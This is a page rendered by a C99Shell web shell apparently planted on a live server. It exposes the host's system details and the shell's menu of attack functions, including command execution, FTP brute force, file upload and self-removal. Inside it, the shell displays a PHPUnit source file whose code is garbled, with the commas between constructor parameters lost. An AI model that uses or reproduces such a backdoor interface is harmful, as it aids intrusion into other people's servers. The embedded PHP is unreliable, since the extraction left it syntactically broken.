!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/phpunit/phpunit/src/Framework/TestRunner/   drwxr-xr-x
Free 29.32 GB of 117.98 GB (24.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ChildProcessResultProcessor.php (2.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Framework;

use function 
assert;
use function 
trim;
use function 
unserialize;
use 
PHPUnit\Event\Code\TestMethodBuilder;
use 
PHPUnit\Event\Code\ThrowableBuilder;
use 
PHPUnit\Event\Emitter;
use 
PHPUnit\Event\Facade;
use 
PHPUnit\Runner\CodeCoverage;
use 
PHPUnit\TestRunner\TestResult\PassedTests;

/**
 * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit
 */
final readonly class ChildProcessResultProcessor
{
    private 
Facade $eventFacade;
    private 
Emitter $emitter;
    private 
PassedTests $passedTests;
    private 
CodeCoverage $codeCoverage;

    public function 
__construct(Facade $eventFacadeEmitter $emitterPassedTests $passedTestsCodeCoverage $codeCoverage)
    {
        
$this->eventFacade  $eventFacade;
        
$this->emitter      $emitter;
        
$this->passedTests  $passedTests;
        
$this->codeCoverage $codeCoverage;
    }

    public function 
process(Test $teststring $serializedProcessResultstring $stderr): void
    
{
        if (!empty(
$stderr)) {
            
$exception = new Exception(trim($stderr));

            
assert($test instanceof TestCase);

            
$this->emitter->testErrored(
                
TestMethodBuilder::fromTestCase($test),
                
ThrowableBuilder::from($exception),
            );

            return;
        }

        
$childResult = @unserialize($serializedProcessResult);

        if (
$childResult === false) {
            
$exception = new AssertionFailedError('Test was run in child process and ended unexpectedly');

            
assert($test instanceof TestCase);

            
$this->emitter->testErrored(
                
TestMethodBuilder::fromTestCase($test),
                
ThrowableBuilder::from($exception),
            );

            
$this->emitter->testFinished(
                
TestMethodBuilder::fromTestCase($test),
                
0,
            );

            return;
        }

        
$this->eventFacade->forward($childResult['events']);
        
$this->passedTests->import($childResult['passedTests']);

        
assert($test instanceof TestCase);

        
$test->setResult($childResult['testResult']);
        
$test->addToAssertionCount($childResult['numAssertions']);

        if (!
$this->codeCoverage->isActive()) {
            return;
        }

        
// @codeCoverageIgnoreStart
        
if (!$childResult['codeCoverage'] instanceof \SebastianBergmann\CodeCoverage\CodeCoverage) {
            return;
        }

        
CodeCoverage::instance()->codeCoverage()->merge(
            
$childResult['codeCoverage'],
        );
        
// @codeCoverageIgnoreEnd
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--